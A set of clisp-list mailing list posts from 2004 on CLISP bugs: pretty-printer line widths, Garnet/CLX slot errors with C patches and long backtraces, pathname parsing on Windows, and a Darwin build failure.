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0.5 0.5 0.5 0.5)
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0.5 0.5 0.5 0.5))


anything more that the necessary line width did ok. anthing less 
triggered the bug.

[4]> (let ((*print-right-margin* 85))
     (pprint #2A((0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 
0.5 0.5 0.5 0.5 0.5 0.5 0.5)
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0.5 0.5 0.5 0.5)
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0.5 0.5 0.5 0.5)
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0.5 0.5 0.5 0.5)
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0.5 0.5 0.5 0.5)
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0.5 0.5 0.5 0.5)
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0.5 0.5 0.5 0.5)
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0.5 0.5 0.5 0.5)
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0.5 0.5 0.5 0.5))))

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0.5 0.5 0.5 0.5)
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> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-01-28 20:27:15 +0100]:
>
> Sam Steingold writes:
>> > * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-01-23 22:04:02 +0100]:
>> >
>> > *** - SLOT-VALUE: The class #<BUILT-IN-CLASS T> has no slot named XLIB::FONT-INFO
>> >
>> > <13> #<GENERIC-FUNCTION SLOT-MISSING>
>> > <14> #<SYSTEM-FUNCTION SLOT-VALUE>
>> > <15> #<ADD-ON-SYSTEM-FUNCTION XLIB:TEXT-WIDTH>
>> 
>> please try the appended patch.
>
> With it, it goes further and stumble on a similar problem.
good.

> *** - SETF: The class #<BUILT-IN-CLASS CONS> has no slot named XLIB::PLIST
> <13> #<GENERIC-FUNCTION SLOT-MISSING>
> <14> #<SYSTEM-FUNCTION CLOS::SET-SLOT-VALUE>
> <15> #<ADD-ON-SYSTEM-FUNCTION XLIB::SET-WINDOW-PLIST>

please try the appended patch

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--- clx.f.~2.13.~	2004-01-25 12:49:13.280040600 -0500
+++ clx.f	2004-01-29 09:51:00.008332200 -0500
@@ -1584,7 +1584,7 @@
 { /* the XLIB object and the new value are already on the stack */
   if (isa_instance_of_p (type, STACK_1)) {
     pushSTACK(`XLIB::PLIST`);                   /* the slot */
-    pushSTACK(STACK_1);                         /* new value */
+    pushSTACK(STACK_(1+1));                     /* new value */
     funcall (L(set_slot_value), 3);
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> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-01-28 20:27:15 +0100]:
>
> With it, it goes further and stumble on a similar problem. (Tell me if
> you need more details).

I fixed the Garnet build (and demos) in the CVS.
Please check it out.
Thanks for reporting the bugs.

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On Thu, 29 Jan 2004, Sam Steingold wrote:

> > * Michael Graffam <ztenssnz@znguyno.fhalfo.rqh> [2004-01-28 20:24:32 -0500]:
> >
> > GNU TeXmacs (www.texmacs.org) 1.0.3.2 now includes plugin support for
> > CLisp.
>
> why isn't CLISP mentioned on
> <http://www.texmacs.org/tmweb/plugins/plugins.en.html>?

Good question! Probably because the Lisp plugin is new, and the web pages
haven't been updated yet. Now that I look, I don't have authorship credit
yet either :)

I'll email the maintainers. Thanks for the pointer.

-- Mike



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Sam Steingold <sds@gnu.org> writes:

>> * Russell McManus <ehffryy_zpznahf@lnubb.pbz> [2004-01-28 14:07:10 -0500]:
>> 
>> This installed a binary in /usr/local/bin/clisp which works, but
>> does not appear to include the regexp module.  What am I doing
>> wrong?
>
> <http://clisp.cons.org/clisp.html#opt-link-set>
> try "clisp -K full".

Thank you.  I suspected it was something very simple.

-russ


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> * Eduardo Mu=C3=B1oz <rzhsre@green.rf> [2004-01-31 00:14:04 +0100]:
>
> Clisp fails to open pathnames that have a semicolon:
>
> [57]> (lisp-implementation-version)
> "2.32 (2003-12-29) (built 3281848709) (memory 3281887410)"
> [58]> (directory "d:\\Temp\\clisp\\*")
> (#P"D:\\Temp\\clisp\\foo;bar.baz")
> [59]> (defvar foo (open (car *)))
> *** - PARSE-NAMESTRING: syntax error in filename "D:\\Temp\\clisp\\foo;ba=
r.baz" at position 2
> Break 1 [60]>=20
>
> This is on windows 2000. The file can be opened on Linux
> (same clisp version).

you neglected to mention that this is an -ansi invocation.
OPEN calls TRUENAME which, after resolving symbolic links, invokes
PARSE-NAMESTRING, which, in ANSI mode, thinks that this is a logical
pathname (because it contains a semicolon).
Are you sure you need pathnames with embedded semicolons?

> P.S. This one is the second time that I send this post to
> gmane. Hopefully it wont be a duplicate.

indeed, it _was_ a duplicate.

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Subject: [clisp-list] Re: garnet with new-clx: The class #<BUILT-IN-CLASS CONS> has no slot named XLIB::PLIST
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Date: Sat Jan 31 21:57:03 2004
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Sam Steingold writes:
> > *** - SETF: The class #<BUILT-IN-CLASS CONS> has no slot named XLIB::PLIST
> > <13> #<GENERIC-FUNCTION SLOT-MISSING>
> > <14> #<SYSTEM-FUNCTION CLOS::SET-SLOT-VALUE>
> > <15> #<ADD-ON-SYSTEM-FUNCTION XLIB::SET-WINDOW-PLIST>
> 
> please try the appended patch
>
> --- clx.f.~2.13.~	2004-01-25 12:49:13.280040600 -0500
> +++ clx.f	2004-01-29 09:51:00.008332200 -0500
> @@ -1584,7 +1584,7 @@
>  { /* the XLIB object and the new value are already on the stack */
>    if (isa_instance_of_p (type, STACK_1)) {
>      pushSTACK(`XLIB::PLIST`);                   /* the slot */
> -    pushSTACK(STACK_1);                         /* new value */
> +    pushSTACK(STACK_(1+1));                     /* new value */
>      funcall (L(set_slot_value), 3);
>      skipSTACK(1);
>    } else my_type_error(type,STACK_0);

Now I get:

Loading #P"/local/share/lisp/packages/net/sourceforge/garnet/c32/c32-lapidary"
;;    Loading file /local/share/lisp/packages/net/sourceforge/garnet/c32/c32-lapidary.lisp ...
WARNING:
DEFUN/DEFMACRO: redefining function GET-REFERENCE-FOR in /usr/local/share/lisp/packages/net/sourceforge/garnet/c32/c32-lapidary.lisp, was defined in /usr/local/share/lisp/packages/net/sourceforge/garnet/c32/c32formula.lisp
Object DIRECT-REF-QUERY-GADGET

*** - SETF: The class #<BUILT-IN-CLASS CONS> has no slot named XLIB::PLIST
Break 1 C32[2]> :bt

<1> #<SYSTEM-FUNCTION EXT:SHOW-STACK>
<2> #<COMPILED-CLOSURE SYSTEM::DEBUG-BACKTRACE>
<3> #<SYSTEM-FUNCTION SYSTEM::READ-EVAL-PRINT>
<4> #<COMPILED-CLOSURE SYSTEM::BREAK-LOOP-2-1>
<5> #<SYSTEM-FUNCTION SYSTEM::SAME-ENV-AS>
<6> #<COMPILED-CLOSURE SYSTEM::BREAK-LOOP-2>
<7> #<SYSTEM-FUNCTION SYSTEM::DRIVER>
<8> #<COMPILED-CLOSURE SYSTEM::BREAK-LOOP>
<9> #<SYSTEM-FUNCTION INVOKE-DEBUGGER>
<10> #<SYSTEM-FUNCTION SYSTEM::ERROR-OF-TYPE> 3
<11> 
#<COMPILED-CLOSURE
  #:|(DEFGENERIC SLOT-MISSING (CLASS INSTANCE SLOT-NAME ...) ...)-163-1-1|>
<12> #<GENERIC-FUNCTION SLOT-MISSING>
<13> #<GENERIC-FUNCTION SLOT-MISSING>
<14> #<SYSTEM-FUNCTION CLOS::SET-SLOT-VALUE>
<15> #<ADD-ON-SYSTEM-FUNCTION XLIB::SET-WINDOW-PLIST>
<16> #<COMPILED-CLOSURE GEM::X-SET-DRAWABLE-TO-WINDOW>
<17> #<COMPILED-CLOSURE GEM:SET-DRAWABLE-TO-WINDOW>
<18> #<COMPILED-CLOSURE OPAL::CREATE-X-DRAWABLE>
<19> #<COMPILED-CLOSURE OPAL::INSTALL-DRAWABLE>
<20> #<COMPILED-CLOSURE OPAL::UPDATE-METHOD-WINDOW>
<21> #<COMPILED-CLOSURE INTERACTORS::UPDATE-METHOD-INTERACTOR-WINDOW>
<22> #<SYSTEM-FUNCTION FUNCALL> 1
EVAL frame for form 
(LET
 ((KR::*KR-SEND-SELF* #:G59727) (KR::*KR-SEND-SLOT* :UPDATE)
  (KR::*KR-SEND-PARENT* NIL))
 (FUNCALL #:G59728 OPAL::THE-SCHEMA))
<23> #<SPECIAL-OPERATOR LET>
<24> #<SPECIAL-OPERATOR IF>
EVAL frame for form 
(IF #:G59728
 (LET
  ((KR::*KR-SEND-SELF* #:G59727) (KR::*KR-SEND-SLOT* :UPDATE)
   (KR::*KR-SEND-PARENT* NIL))
  (FUNCALL #:G59728 OPAL::THE-SCHEMA)))
EVAL frame for form 
(LET* ((#:G59727 OPAL::THE-SCHEMA) (#:G59728 (KR::VALUE-FN #:G59727 :UPDATE)))
 (IF #:G59728
  (LET
   ((KR::*KR-SEND-SELF* #:G59727) (KR::*KR-SEND-SLOT* :UPDATE)
    (KR::*KR-SEND-PARENT* NIL))
   (FUNCALL #:G59728 OPAL::THE-SCHEMA))))
<25> #<SPECIAL-OPERATOR LET*>
EVAL frame for form 
(LET ((OPAL::THE-SCHEMA GARNET-GADGETS::WINDOW))
 (LET* ((#:G59727 OPAL::THE-SCHEMA) (#:G59728 (KR::VALUE-FN #:G59727 :UPDATE)))
  (IF #:G59728
   (LET
    ((KR::*KR-SEND-SELF* #:G59727) (KR::*KR-SEND-SLOT* :UPDATE)
     (KR::*KR-SEND-PARENT* NIL))
    (FUNCALL #:G59728 OPAL::THE-SCHEMA)))))
<26> #<SPECIAL-OPERATOR LET>
EVAL frame for form 
(LET
 ((GARNET-GADGETS::WINDOW
   (KR::DO-SCHEMA-BODY (KR::MAKE-A-NEW-SCHEMA NIL) INTERACTORS:INTERACTOR-WINDOW
    T T NIL NIL '(:VISIBLE)
    (CONS :PARENT (KR::VALUE-FN GARNET-GADGETS:ERROR-GADGET :PARENT-WINDOW))))
  (GARNET-GADGETS::AGGREGATE
   (KR::DO-SCHEMA-BODY (KR::MAKE-A-NEW-SCHEMA NIL) OPAL:AGGREGATE T T NIL NIL)))
 (KR::S-VALUE-FN GARNET-GADGETS::WINDOW :AGGREGATE GARNET-GADGETS::AGGREGATE)
 (LET ((OPAL::THE-SCHEMA GARNET-GADGETS::WINDOW))
  (LET* ((#:G59727 OPAL::THE-SCHEMA) (#:G59728 (KR::VALUE-FN #:G59727 :UPDATE)))
   (IF #:G59728
    (LET
     ((KR::*KR-SEND-SELF* #:G59727) (KR::*KR-SEND-SLOT* :UPDATE)
      (KR::*KR-SEND-PARENT* NIL))
     (FUNCALL #:G59728 OPAL::THE-SCHEMA)))))
 (LET ((OPAL::THE-SCHEMA GARNET-GADGETS::AGGREGATE))
  (LET*
   ((#:G59729 OPAL::THE-SCHEMA)
    (#:G59730 (KR::VALUE-FN #:G59729 :ADD-COMPONENT)))
   (IF #:G59730
    (LET
     ((KR::*KR-SEND-SELF* #:G59729) (KR::*KR-SEND-SLOT* :ADD-COMPONENT)
      (KR::*KR-SEND-PARENT* NIL))
     (FUNCALL #:G59730 OPAL::THE-SCHEMA GARNET-GADGETS:ERROR-GADGET)))))
 (KR::S-VALUE-FN GARNET-GADGETS::WINDOW :ERROR-GADGET
  GARNET-GADGETS:ERROR-GADGET)
 (KR::S-VALUE-FN GARNET-GADGETS::WINDOW :MODAL-P
  (KR::O-FORMULA-FN
   #'(LAMBDA NIL
      (DECLARE
       (SYSTEM::SOURCE
        (NIL (DECLARE (OPTIMIZE (SAFETY 1) (SPACE 0) (SPEED 3)))
         (GVL :ERROR-GADGET :MODAL-P))))
      (DECLARE (OPTIMIZE (SAFETY 1) (SPACE 0) (SPEED 3)))
      (KR::GV-CHAIN KR::*SCHEMA-SELF* '(:ERROR-GADGET :MODAL-P)))
   '(GVL :ERROR-GADGET :MODAL-P) NIL NIL)))
<27> #<SPECIAL-OPERATOR LET>
EVAL frame for form 
(PROGN
 (LOCALLY (DECLARE (OPTIMIZE (SPEED 3) (SPACE 0)))
  (LET
   ((KR::FIRST-C-P-M
     (AND (NULL KR::*KR-SEND-PARENT*)
      (LET
       ((#:G59726
         (VALUES
          (GETHASH KR::*KR-SEND-SLOT* (KR::SCHEMA-BINS KR::*KR-SEND-SELF*)))))
       (OR (NULL #:G59726) (LOGBITP 10 (KR::SL-BITS #:G59726)))))))
   (MULTIPLE-VALUE-BIND (METHOD KR::NEW-PARENT)
    (KR::FIND-PARENT KR::*KR-SEND-SELF* KR::*KR-SEND-SLOT*)
    (WHEN METHOD
     (IF KR::FIRST-C-P-M
      (MULTIPLE-VALUE-SETQ (METHOD KR::*KR-SEND-PARENT*)
       (KR::FIND-PARENT KR::NEW-PARENT KR::*KR-SEND-SLOT*))
      (SETQ KR::*KR-SEND-PARENT* KR::NEW-PARENT))
     (IF METHOD
      (LET ((KR::*KR-SEND-SELF* KR::*KR-SEND-PARENT*))
       (FUNCALL METHOD GARNET-GADGETS:ERROR-GADGET)))))))
 (LET
  ((GARNET-GADGETS::WINDOW
    (KR::DO-SCHEMA-BODY (KR::MAKE-A-NEW-SCHEMA NIL)
     INTERACTORS:INTERACTOR-WINDOW T T NIL NIL '(:VISIBLE)
     (CONS :PARENT (KR::VALUE-FN GARNET-GADGETS:ERROR-GADGET :PARENT-WINDOW))))
   (GARNET-GADGETS::AGGREGATE
    (KR::DO-SCHEMA-BODY (KR::MAKE-A-NEW-SCHEMA NIL) OPAL:AGGREGATE T T NIL
     NIL)))
  (KR::S-VALUE-FN GARNET-GADGETS::WINDOW :AGGREGATE GARNET-GADGETS::AGGREGATE)
  (LET ((OPAL::THE-SCHEMA GARNET-GADGETS::WINDOW))
   (LET*
    ((#:G59727 OPAL::THE-SCHEMA) (#:G59728 (KR::VALUE-FN #:G59727 :UPDATE)))
    (IF #:G59728
     (LET
      ((KR::*KR-SEND-SELF* #:G59727) (KR::*KR-SEND-SLOT* :UPDATE)
       (KR::*KR-SEND-PARENT* NIL))
      (FUNCALL #:G59728 OPAL::THE-SCHEMA)))))
  (LET ((OPAL::THE-SCHEMA GARNET-GADGETS::AGGREGATE))
   (LET*
    ((#:G59729 OPAL::THE-SCHEMA)
     (#:G59730 (KR::VALUE-FN #:G59729 :ADD-COMPONENT)))
    (IF #:G59730
     (LET
      ((KR::*KR-SEND-SELF* #:G59729) (KR::*KR-SEND-SLOT* :ADD-COMPONENT)
       (KR::*KR-SEND-PARENT* NIL))
      (FUNCALL #:G59730 OPAL::THE-SCHEMA GARNET-GADGETS:ERROR-GADGET)))))
  (KR::S-VALUE-FN GARNET-GADGETS::WINDOW :ERROR-GADGET
   GARNET-GADGETS:ERROR-GADGET)
  (KR::S-VALUE-FN GARNET-GADGETS::WINDOW :MODAL-P
   (KR::O-FORMULA-FN
    #'(LAMBDA NIL
       (DECLARE
        (SYSTEM::SOURCE
         (NIL (DECLARE (OPTIMIZE (SAFETY 1) (SPACE 0) (SPEED 3)))
          (GVL :ERROR-GADGET :MODAL-P))))
       (DECLARE (OPTIMIZE (SAFETY 1) (SPACE 0) (SPEED 3)))
       (KR::GV-CHAIN KR::*SCHEMA-SELF* '(:ERROR-GADGET :MODAL-P)))
    '(GVL :ERROR-GADGET :MODAL-P) NIL NIL))))
<28> #<SPECIAL-OPERATOR PROGN>
APPLY frame for call (GARNET-GADGETS::INITIALIZE-METHOD-ERROR-GADGET '#k<DIRECT-REF-QUERY-GADGET>)
EVAL frame for form 
(KR::DO-SCHEMA-BODY (KR::MAKE-A-NEW-SCHEMA 'DIRECT-REF-QUERY-GADGET)
 GARNET-GADGETS:QUERY-GADGET T T NIL NIL (CONS :BUTTON-NAMES '("YES" "NO"))
 (CONS :MODAL-P T))
<29> 
#<CLOSURE GARNET-GADGETS::INITIALIZE-METHOD-ERROR-GADGET
  (GARNET-GADGETS:ERROR-GADGET)
  (DECLARE (SYSTEM::IN-DEFUN GARNET-GADGETS::INITIALIZE-METHOD-ERROR-GADGET))
  (BLOCK GARNET-GADGETS::INITIALIZE-METHOD-ERROR-GADGET
   (CALL-PROTOTYPE-METHOD GARNET-GADGETS:ERROR-GADGET)
   (LET
    ((GARNET-GADGETS::WINDOW
      (CREATE-INSTANCE NIL INTERACTORS:INTERACTOR-WINDOW
       (:PARENT (G-VALUE GARNET-GADGETS:ERROR-GADGET :PARENT-WINDOW))
       (:VISIBLE NIL)))
     (GARNET-GADGETS::AGGREGATE (CREATE-INSTANCE NIL OPAL:AGGREGATE)))
    (S-VALUE GARNET-GADGETS::WINDOW :AGGREGATE GARNET-GADGETS::AGGREGATE)
    (OPAL:UPDATE GARNET-GADGETS::WINDOW)
    (OPAL:ADD-COMPONENT GARNET-GADGETS::AGGREGATE GARNET-GADGETS:ERROR-GADGET)
    (S-VALUE GARNET-GADGETS::WINDOW :ERROR-GADGET GARNET-GADGETS:ERROR-GADGET)
    (S-VALUE GARNET-GADGETS::WINDOW :MODAL-P
     (O-FORMULA (GVL :ERROR-GADGET :MODAL-P)))))> 1
<30> #<COMPILED-CLOSURE KR::KR-INIT-METHOD>
<31> #<COMPILED-CLOSURE KR::DO-SCHEMA-BODY>
EVAL frame for form 
(CREATE-SCHEMA 'DIRECT-REF-QUERY-GADGET :GENERATE-INSTANCE
 (:IS-A GARNET-GADGETS:QUERY-GADGET) (:MODAL-P T) (:BUTTON-NAMES '("YES" "NO")))
EVAL frame for form 
(CREATE-INSTANCE 'DIRECT-REF-QUERY-GADGET GARNET-GADGETS:QUERY-GADGET
 (:MODAL-P T) (:BUTTON-NAMES '("YES" "NO")))
EVAL frame for form (LOAD COMMON-LISP-USER::FINALNAME)
<32> #<SYSTEM-FUNCTION EVAL>
<33> #<COMPILED-CLOSURE LOAD>
EVAL frame for form 
(LET*
 ((COMMON-LISP-USER::HEAD
   (SUBSEQ COMMON-LISP-USER::FILENAME 0 COMMON-LISP-USER::POS))
  (COMMON-LISP-USER::TAIL
   (SUBSEQ COMMON-LISP-USER::FILENAME (1+ COMMON-LISP-USER::POS)))
  (COMMON-LISP-USER::PREFIX
   (OR
    (EVAL
     (CDR
      (ASSOC COMMON-LISP-USER::HEAD COMMON-LISP-USER::GARNET-LOAD-ALIST :TEST
       #'STRING=)))
    (ERROR "Bad prefix ~S~%" COMMON-LISP-USER::HEAD)))
  (COMMON-LISP-USER::FINALNAME
   (COMMON-LISP-USER::GARNET-PATHNAMES COMMON-LISP-USER::TAIL
    COMMON-LISP-USER::PREFIX)))
 (FORMAT T "Loading ~s~%" COMMON-LISP-USER::FINALNAME)
 (LOAD COMMON-LISP-USER::FINALNAME))
<34> #<SPECIAL-OPERATOR LET*>
<35> #<SPECIAL-OPERATOR IF>
EVAL frame for form 
(IF COMMON-LISP-USER::POS
 (LET*
  ((COMMON-LISP-USER::HEAD
    (SUBSEQ COMMON-LISP-USER::FILENAME 0 COMMON-LISP-USER::POS))
   (COMMON-LISP-USER::TAIL
    (SUBSEQ COMMON-LISP-USER::FILENAME (1+ COMMON-LISP-USER::POS)))
   (COMMON-LISP-USER::PREFIX
    (OR
     (EVAL
      (CDR
       (ASSOC COMMON-LISP-USER::HEAD COMMON-LISP-USER::GARNET-LOAD-ALIST :TEST
        #'STRING=)))
     (ERROR "Bad prefix ~S~%" COMMON-LISP-USER::HEAD)))
   (COMMON-LISP-USER::FINALNAME
    (COMMON-LISP-USER::GARNET-PATHNAMES COMMON-LISP-USER::TAIL
     COMMON-LISP-USER::PREFIX)))
  (FORMAT T "Loading ~s~%" COMMON-LISP-USER::FINALNAME)
  (LOAD COMMON-LISP-USER::FINALNAME))
 (PROGN (FORMAT T "NO COLON, Loading ~s~%" COMMON-LISP-USER::FILENAME)
  (LOAD COMMON-LISP-USER::FILENAME)))
EVAL frame for form 
(LET ((COMMON-LISP-USER::POS (POSITION #\: COMMON-LISP-USER::FILENAME)))
 (IF COMMON-LISP-USER::POS
  (LET*
   ((COMMON-LISP-USER::HEAD
     (SUBSEQ COMMON-LISP-USER::FILENAME 0 COMMON-LISP-USER::POS))
    (COMMON-LISP-USER::TAIL
     (SUBSEQ COMMON-LISP-USER::FILENAME (1+ COMMON-LISP-USER::POS)))
    (COMMON-LISP-USER::PREFIX
     (OR
      (EVAL
       (CDR
        (ASSOC COMMON-LISP-USER::HEAD COMMON-LISP-USER::GARNET-LOAD-ALIST :TEST
         #'STRING=)))
      (ERROR "Bad prefix ~S~%" COMMON-LISP-USER::HEAD)))
    (COMMON-LISP-USER::FINALNAME
     (COMMON-LISP-USER::GARNET-PATHNAMES COMMON-LISP-USER::TAIL
      COMMON-LISP-USER::PREFIX)))
   (FORMAT T "Loading ~s~%" COMMON-LISP-USER::FINALNAME)
   (LOAD COMMON-LISP-USER::FINALNAME))
  (PROGN (FORMAT T "NO COLON, Loading ~s~%" COMMON-LISP-USER::FILENAME)
   (LOAD COMMON-LISP-USER::FILENAME))))
<36> #<SPECIAL-OPERATOR LET>
APPLY frame for call (COMMON-LISP-USER::GARNET-LOAD '"c32:c32-lapidary")
EVAL frame for form 
(COMMON-LISP-USER::GARNET-LOAD
 (CONCATENATE 'STRING "c32:" COMMON-LISP-USER::FILE))
<37> 
#<CLOSURE COMMON-LISP-USER::GARNET-LOAD (COMMON-LISP-USER::FILENAME)
  (DECLARE (SYSTEM::IN-DEFUN COMMON-LISP-USER::GARNET-LOAD))
  (BLOCK COMMON-LISP-USER::GARNET-LOAD
   (LET ((COMMON-LISP-USER::POS (POSITION #\: COMMON-LISP-USER::FILENAME)))
    (IF COMMON-LISP-USER::POS
     (LET*
      ((COMMON-LISP-USER::HEAD
        (SUBSEQ COMMON-LISP-USER::FILENAME 0 COMMON-LISP-USER::POS))
       (COMMON-LISP-USER::TAIL
        (SUBSEQ COMMON-LISP-USER::FILENAME (1+ COMMON-LISP-USER::POS)))
       (COMMON-LISP-USER::PREFIX
        (OR
         (EVAL
          (CDR
           (ASSOC COMMON-LISP-USER::HEAD COMMON-LISP-USER::GARNET-LOAD-ALIST
            :TEST #'STRING=)))
         (ERROR "Bad prefix ~S~%" COMMON-LISP-USER::HEAD)))
       (COMMON-LISP-USER::FINALNAME
        (COMMON-LISP-USER::GARNET-PATHNAMES COMMON-LISP-USER::TAIL
         COMMON-LISP-USER::PREFIX)))
      (FORMAT T "Loading ~s~%" COMMON-LISP-USER::FINALNAME)
      (LOAD COMMON-LISP-USER::FINALNAME))
     (PROGN (FORMAT T "NO COLON, Loading ~s~%" COMMON-LISP-USER::FILENAME)
      (LOAD COMMON-LISP-USER::FILENAME)))))> 1
EVAL frame for form 
(TAGBODY #:G101312 (IF (ENDP #:G101311) (GO #:G101313))
 (SETQ COMMON-LISP-USER::FILE (CAR #:G101311))
 (COMMON-LISP-USER::GARNET-COMPILE
  (CONCATENATE 'STRING "c32:" COMMON-LISP-USER::FILE))
 (COMMON-LISP-USER::GARNET-LOAD
  (CONCATENATE 'STRING "c32:" COMMON-LISP-USER::FILE))
 (SETQ #:G101311 (CDR #:G101311)) (GO #:G101312) #:G101313
 (RETURN-FROM NIL (PROGN NIL)))
<38> #<SPECIAL-OPERATOR TAGBODY>
EVAL frame for form 
(LET* ((#:G101311 COMMON-LISP-USER::C32-FILES) (COMMON-LISP-USER::FILE NIL))
 (DECLARE (LIST #:G101311))
 (TAGBODY #:G101312 (IF (ENDP #:G101311) (GO #:G101313))
  (SETQ COMMON-LISP-USER::FILE (CAR #:G101311))
  (COMMON-LISP-USER::GARNET-COMPILE
   (CONCATENATE 'STRING "c32:" COMMON-LISP-USER::FILE))
  (COMMON-LISP-USER::GARNET-LOAD
   (CONCATENATE 'STRING "c32:" COMMON-LISP-USER::FILE))
  (SETQ #:G101311 (CDR #:G101311)) (GO #:G101312) #:G101313
  (RETURN-FROM NIL (PROGN NIL))))
<39> #<SPECIAL-OPERATOR LET*>
EVAL frame for form 
(BLOCK NIL
 (LET* ((#:G101311 COMMON-LISP-USER::C32-FILES) (COMMON-LISP-USER::FILE NIL))
  (DECLARE (LIST #:G101311))
  (TAGBODY #:G101312 (IF (ENDP #:G101311) (GO #:G101313))
   (SETQ COMMON-LISP-USER::FILE (CAR #:G101311))
   (COMMON-LISP-USER::GARNET-COMPILE
    (CONCATENATE 'STRING "c32:" COMMON-LISP-USER::FILE))
   (COMMON-LISP-USER::GARNET-LOAD
    (CONCATENATE 'STRING "c32:" COMMON-LISP-USER::FILE))
   (SETQ #:G101311 (CDR #:G101311)) (GO #:G101312) #:G101313
   (RETURN-FROM NIL (PROGN NIL)))))
<40> #<SPECIAL-OPERATOR BLOCK>
EVAL frame for form 
(DO*
 ((#:G101311 COMMON-LISP-USER::C32-FILES (CDR #:G101311))
  (COMMON-LISP-USER::FILE NIL))
 ((ENDP #:G101311) NIL) (DECLARE (LIST #:G101311))
 (SETQ COMMON-LISP-USER::FILE (CAR #:G101311))
 (COMMON-LISP-USER::GARNET-COMPILE
  (CONCATENATE 'STRING "c32:" COMMON-LISP-USER::FILE))
 (COMMON-LISP-USER::GARNET-LOAD
  (CONCATENATE 'STRING "c32:" COMMON-LISP-USER::FILE)))
EVAL frame for form 
(DOLIST (COMMON-LISP-USER::FILE COMMON-LISP-USER::C32-FILES)
 (COMMON-LISP-USER::GARNET-COMPILE
  (CONCATENATE 'STRING "c32:" COMMON-LISP-USER::FILE))
 (COMMON-LISP-USER::GARNET-LOAD
  (CONCATENATE 'STRING "c32:" COMMON-LISP-USER::FILE)))
EVAL frame for form (LOAD (MERGE-PATHNAMES "c32-compiler" COMMON-LISP-USER::GARNET-C32-SRC))
<41> #<SYSTEM-FUNCTION EVAL>
<42> #<COMPILED-CLOSURE LOAD>
EVAL frame for form 
(WHEN COMMON-LISP-USER::COMPILE-C32-P
 (FORMAT T "~%  %%%%%%%%%%%%%%  Compiling C32 %%%%%%%%%%%%%%% ~%")
 (LOAD (MERGE-PATHNAMES "c32-compiler" COMMON-LISP-USER::GARNET-C32-SRC)))
<43> #<SPECIAL-OPERATOR WHEN>
EVAL frame for form (LOAD "garnet-compiler.lisp")
<44> #<SYSTEM-FUNCTION EVAL>
<45> #<COMPILED-CLOSURE LOAD>
EVAL frame for form (LOAD "build")
<46> #<SYSTEM-FUNCTION EVAL>
<47> #<COMPILED-CLOSURE LOAD>
Printed 47 frames
Break 1 C32[2]> 



$ diff --exclude CVS -NaurtBb orig/clisp-2.32/modules/clx/new-clx/clx.f clisp-2.32/modules/clx/new-clx/clx.f
--- orig/clisp-2.32/modules/clx/new-clx/clx.f	2003-11-01 00:52:04.000000000 +0100
+++ clisp-2.32/modules/clx/new-clx/clx.f	2004-01-31 09:13:18.000000000 +0100
@@ -1004,7 +1004,7 @@
 
   pushSTACK(obj);               /* save */
 
-  pushSTACK(STACK_1); pushSTACK(`XLIB::FONT-INFO`);
+  pushSTACK(obj); pushSTACK(`XLIB::FONT-INFO`);
   funcall(L(slot_value),2); /* (slot-value obj 'font-info) */
 
   if (!(fpointerp (value1) && fp_validp (TheFpointer(value1)))) {
@@ -1065,12 +1065,16 @@
           status = XGetAtomNames (dpy, xatoms, 2, names); /* X11R6 */
 #        endif
           if (status) {
+            char* whole = alloca(strlen(names[0])+strlen(names[1])+3);
+            if (!strncasecmp(names[0],"iso",3) && names[0][3] != '-') {
+              strcpy(whole,"ISO-");
+              strcat(whole,names[0]+3);
+            } else strcpy(whole,names[0]);
+            strcat(whole,"-");
+            strcat(whole,names[1]);
             end_x_call();
-            pushSTACK(asciz_to_string (names[0], GLO(misc_encoding)));
-            pushSTACK(`"-"`);
-            pushSTACK(asciz_to_string (names[1], GLO(misc_encoding)));
-            value1 = string_concat(3);
-            pushSTACK(`:CHARSET`); pushSTACK(value1);
+            pushSTACK(`:CHARSET`);
+            pushSTACK(asciz_to_string(whole,GLO(misc_encoding)));
             pushSTACK(`:OUTPUT-ERROR-ACTION`);
             pushSTACK(fixnum(info->default_char));
             funcall(L(make_encoding), 4);
@@ -1078,8 +1082,8 @@
             pushSTACK(`XLIB::ENCODING`);
             pushSTACK(value1);
             funcall (L(set_slot_value), 3);
-          }
           begin_x_call();
+          }
           if (names[0])
             XFree (names[0]);
           if (names[1])
@@ -1592,7 +1596,7 @@
 { /* the XLIB object and the new value are already on the stack */
   if (isa_instance_of_p (type, STACK_1)) {
     pushSTACK(`XLIB::PLIST`);                   /* the slot */
-    pushSTACK(STACK_1);                         /* new value */
+    pushSTACK(STACK_(1+1));                     /* new value */
     funcall (L(set_slot_value), 3);
     skipSTACK(1);
   } else my_type_error(type,STACK_0);


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Date: Sat Jan 31 22:00:07 2004
X-Original-Date: Sun, 1 Feb 2004 06:57:53 +0100

Sam Steingold writes:
> > * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-01-28 20:27:15 +0100]:
> >
> > With it, it goes further and stumble on a similar problem. (Tell me if
> > you need more details).
> 
> I fixed the Garnet build (and demos) in the CVS.
> Please check it out.
> Thanks for reporting the bugs.

I've 'cvs update -A'ed  and I get this error with the syscalls modules
on Darwin:

calls.c:291: error: `BUFSIZ' undeclared (first use in this function)
calls.c:291: error: (Each undeclared identifier is reported only once
calls.c:291: error: for each function it appears in.)

On darwin, BUFSIZ is declared  in stdio.h, but it's included only when
DEBUG is defined. It should be included unconditionnally.





test -d syscalls || ./lndir ../modules/syscalls syscalls
if test -f syscalls/configure -a '!' -f syscalls/config.status ; then cd syscalls ; ./configure --cache-file=`echo syscalls/ | sed -e 's,[^/][^/]*//*,../,g'`config.cache ; fi
configure: loading cache ../config.cache
configure:  * System Calls (Tools)
checking for gcc... (cached) gcc
checking for C compiler default output file name... a.out
checking whether the C compiler works... yes
checking whether we are cross compiling... no
checking for suffix of executables... 
checking for suffix of object files... (cached) o
checking whether we are using the GNU C compiler... (cached) yes
checking whether gcc accepts -g... (cached) yes
checking for gcc option to accept ANSI C... (cached) none needed
checking how to run the C preprocessor... (cached) gcc -E
configure:  * System Calls (Headers)
checking for egrep... (cached) grep -E
checking for ANSI C header files... (cached) yes
checking whether time.h and sys/time.h may both be included... (cached) yes
checking for sys/types.h... (cached) yes
checking for sys/stat.h... (cached) yes
checking for stdlib.h... (cached) yes
checking for string.h... (cached) yes
checking for memory.h... (cached) yes
checking for strings.h... (cached) yes
checking for inttypes.h... (cached) yes
checking for stdint.h... (cached) yes
checking for unistd.h... (cached) yes
checking errno.h usability... yes
checking errno.h presence... yes
